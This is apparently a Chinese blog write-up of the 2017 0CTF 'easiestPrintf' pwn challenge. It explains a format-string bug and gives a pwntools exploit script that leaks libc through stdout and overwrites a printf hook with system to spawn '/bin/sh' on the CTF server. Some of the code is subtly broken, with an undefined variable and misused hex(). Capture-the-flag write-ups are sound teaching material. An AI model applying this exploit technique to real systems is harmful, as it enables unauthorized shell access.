2017年 0CTF---部分Pwn writeup

easiestPrintf

这个题目让我想起了 之前做过的 oneshoot
先说下题目保护是全开的。然后我们开始分析下程序。

printf 后面直接跟了exit,由于保护全开,我们不能去修改 返回地址或者exit的got表。

在libc我们仔细看来printf函数:

1
2
3
4
5
6
7
int printf(int a1, ...)
{
va_list va; // [sp+24h] [bp+8h]@1

va_start(va, a1);
return vfprintf((int)stdout, a1, (int)va);
}

上图是一个任意地址泄漏。

这里有一个很明显的漏洞–格式化串漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:08048811 ; ---------------------------------------------------------------------------
.text:08048811
.text:08048811 loc_8048811: ; CODE XREF: leave+89j
.text:08048811 nop
.text:08048812
.text:08048812 loc_8048812: ; CODE XREF: leave+9Ej
.text:08048812 sub esp, 0Ch
.text:08048815 lea eax, [ebp+s]
.text:0804881B push eax ; format
.text:0804881C call printf
.text:08048821 add esp, 10h
.text:08048824 sub esp, 0Ch
.text:08048827 push 0 ; status
.text:08048829 call _exit
.text:08048829 leave endp
.text:08048829

仔细观察,我们发现printf,实质上是调用了vfprintf((int)stdout, a1, (int)va),

如果 dword_1AC768和func_hook + 4 * char_size) 这两个位置的存储的数据为0,那么会进入到正常的流程,那么我就可以从libc中控制流程。

之后做的时候,发现别人特别好的一个方法,那就是


不需要自己%x这样来计算测试偏移值,直接用pwntools中的fmtstr_payload来生成


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python2.7
# -*- coding:utf-8 -*-

from pwn import *
debug = 1
if debug:
libc = ELF('libc.so.6_0ed9bad239c74870ed2db31c735132ce')
context.log_level = 'info'
io = remote("127.0.0.1",10002)
else:
io = remote("202.120.7.210",12321)
io.recvuntil("Which address you wanna read:\n")
io.sendline(str(0x804A044)) # .bss:0804A044 stdout@@GLIBC_2_0 dd
stdout_addr = hex(io.recvline().rstrip())
libcbase = stdout_addr - libc.symbols['_IO_2_1_stdout_']
system = libc.symbols['system'] + libcbase
log.info('stdout addr :%#x' % stdout_addr)
log.info('libcbase : %#x' %libcbase)
log.info('system addr: %#x' %system)
io.recvuntil("Good Bye\n")
write = {d + 148: 0x0804A570 - 0x1c, 0x0804A570: system + 1} #:0004A570 __printf_fp endp
payload = '/bin/sh;'
payload += fmtstr_payload(9, write, len(payload), 'byte')
log.info('len: %d' % len(payload))

io.sendline(payload)
io.interactive()

×

纯属好玩

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

文章目录
  1. 1. easiestPrintf
,